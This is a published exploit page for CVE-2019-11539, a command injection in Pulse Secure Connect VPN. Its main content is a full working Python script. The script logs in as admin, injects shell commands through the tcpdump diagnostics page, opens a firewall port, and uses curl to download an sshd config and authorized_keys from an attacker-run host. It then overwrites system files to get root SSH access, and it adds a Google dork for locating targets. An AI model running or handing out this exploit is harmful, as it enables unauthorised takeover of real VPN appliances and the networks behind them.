Pulse Secure Post-Auth Remote Code Execution

2019.09.08
Risk: High
Local: No
Remote: Yes
CWE: CWE-77


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/python # # Exploit Title: Pulse Secure Post-Auth Remote Code Execution # Google Dork: inurl:/dana-na/ filetype:cgi # Date: 09/05/2019 # Exploit Author: Justin Wagner (0xDezzy), Alyssa Herrera (@Alyssa_Herrera_) # Vendor Homepage: https://pulsesecure.net # Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 # Tested on: linux # CVE : CVE-2019-11539 # # Initial Discovery: Orange Tsai (@orange_8361), Meh Chang (@mehqq_) # # Exploits CVE-2019-11539 to run commands on the Pulse Secure Connect VPN # Downloads Modified SSH configuration and authorized_keys file to allow SSH as root. # You will need your own configuration and authorized_keys files. # # Reference: https://nvd.nist.gov/vuln/detail/CVE-2019-11539 # Reference: https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html # # Please Note, Alyssa or myself are not responsible with what is done with this code. Please use this at your own discretion and with proper authrization. # We will not bail you out of jail, go to court, etc if you get caught using this maliciously. Be smart and remember, hugs are free. # # Imports import requests import urllib from bs4 import BeautifulSoup # Host information host = '' # Host to exploit login_url = '/dana-na/auth/url_admin/login.cgi' # Login page CMDInjectURL = '/dana-admin/diag/diag.cgi' # Overwrites the Template when using tcpdump CommandExecURL = '/dana-na/auth/setcookie.cgi' # Executes the code # Login Credentials user = 'admin' # Default Username password = 'password' # Default Password # Necessary for Curl downloadHost = '' # IP or FQDN for host running webserver port = '' # Port where web service is running. Needs to be a string, hence the quotes. # Proxy Configuration # Uncomment if you need to use a proxy or for debugging requests proxies = { # 'http': 'http://127.0.0.1:8080', # 'https': 'http://127.0.0.1:8080', } # Headers for requests headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language':'en-US,en;q=0.5', 'Accept-Encoding':'gzip, deflate', 'Content-Type':'application/x-www-form-urlencoded', } # Cookies to send with request cookies = { 'lastRealm':'Admin%20Users', 'DSSIGNIN':'url_admin', 'DSSignInURL':'/admin/', 'DSPERSISTMSG':'', } # Data for post request loginData = { 'tz_offset': 0, 'username': user, 'password': password, 'realm': 'Admin Users', 'btnSubmit': 'Sign In', } s = requests.Session() # Sets up the session s.proxies = proxies # Sets up the proxies # Disable Warnings from requests library requests.packages.urllib3.disable_warnings() # Administrator Login logic # Probably wouldn't have figured this out without help from @buffaloverflow def adminLogin(): global xsAuth global _headers # Send the intial request r = requests.get('https://%s/dana-na/auth/url_admin/welcome.cgi' % host, cookies=cookies, headers=headers, verify=False, proxies=proxies) print('[#] Logging in...') # Self Explanatory r = s.post('https://' + host + login_url, data=loginData,verify=False, proxies=proxies, allow_redirects=False) # sends login post request print('[#] Sent Login Request...') # Login Logic if r.status_code == 302 and 'welcome.cgi' in r.headers.get("location",""): referer = 'https://%s%s' %(host, r.headers["location"]) # Gets the referer r = s.get(referer, verify=False) # Sends a get request soup = BeautifulSoup(r.text, 'html.parser') # Sets up HTML Parser FormDataStr = soup.find('input', {'id':'DSIDFormDataStr'})["value"] # Gets DSIDFormDataStr print('[#] Grabbing xsauth...') xsAuth = soup.find('input', {'name':'xsauth'})["value"] # Gets the cross site auth token print('[!] Got xsauth: ' + xsAuth) # Self Explanatory data = {'btnContinue':'Continue the session', 'FormDataStr':FormDataStr, 'xsauth':xsAuth} # Submits the continue session page _headers = headers # Sets the headers _headers.update({'referer':referer}) # Updates the headers r = s.post('https://%s' %(host + login_url), data=data, headers=_headers, verify=False, proxies=proxies) #Sends a new post request print('[+] Logged in!') # Self Explanatory # Command injection logic def cmdInject(command): r = s.get('https://' + host + CMDInjectURL, verify=False, proxies=proxies) if r.status_code == 200: soup = BeautifulSoup(r.text, 'html.parser') # Sets up HTML Parser xsAuth = soup.find('input', {'name':'xsauth'})["value"] # Gets the cross site auth token payload = { 'a':'td', 'chkInternal':'On', 'optIFInternal':'int0', 'pmisc':'on', 'filter':'', 'options':'-r$x="%s",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <' %command, 'toggle':'Start+Sniffing', 'xsauth':xsAuth } # Takes the generated URL specific to the command then encodes it in hex for the DSLaunchURL cookie DSLaunchURL_cookie = {'DSLaunchURL':(CMDInjectURL+'?a=td&chkInternal=on&optIFInternal=int0&pmisc=on&filter=&options=-r%24x%3D%22'+urllib.quote_plus(command)+'%22%2Csystem%24x%23+2%3E%2Fdata%2Fruntime%2Ftmp%2Ftt%2Fsetcookie.thtml.ttc+%3C&toggle=Start+Sniffing&xsauth='+xsAuth).encode("hex")} # print('[+] Sending Command injection: %s' %command) # Self Explanatory. Useful for seeing what commands are run # Sends the get request to overwrite the template r = s.get('https://' + host + CMDInjectURL+'?a=td&chkInternal=on&optIFInternal=int0&pmisc=on&filter=&options=-r%24x%3D%22'+command+'%22%2Csystem%24x%23+2%3E%2Fdata%2Fruntime%2Ftmp%2Ftt%2Fsetcookie.thtml.ttc+%3C&toggle=Start+Sniffing&xsauth='+xsAuth, cookies=DSLaunchURL_cookie, verify=False, proxies=proxies) # Sends the get request to execute the code r = s.get('https://' + host + CommandExecURL, verify=False) # Main logic if __name__ == '__main__': adminLogin() try: print('[!] Starting Exploit') print('[*] Opening Firewall port...') cmdInject('iptables -A INPUT -p tcp --dport 6667 -j ACCEPT') # Opens SSH port print('[*] Downloading Necessary Files....') cmdInject('/home/bin/curl '+downloadHost+':'+port+'/cloud_sshd_config -o /tmp/cloud_sshd_config') # download cloud_sshd_config cmdInject('/home/bin/curl '+downloadHost+':'+port+'/authorized_keys -o /tmp/authorized_keys') # download authorized_keys print('[*] Backing up Files...') cmdInject('cp /etc/cloud_sshd_config /etc/cloud_sshd_config.bak') # backup cloud_sshd_config cmdInject('cp /.ssh/authorized_keys /.ssh/authorized_keys.bak') # backp authorized_keys print('[*] Overwriting Old Files...') cmdInject('cp /tmp/cloud_sshd_config /etc/cloud_sshd_config') # overwrite cloud_sshd_config cmdInject('cp /tmp/authorized_keys /.ssh/authorized_keys') # overwrite authorized_keys print('[*] Restarting SSHD...') cmdInject('kill -SIGHUP $(pgrep -f "sshd-ive")') # Restart sshd via a SIGHUP print('[!] Done Exploiting the system.') print('[!] Please use the following command:') print('[!] ssh -p6667 root@%s') %(host) except Exception as e: raise


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top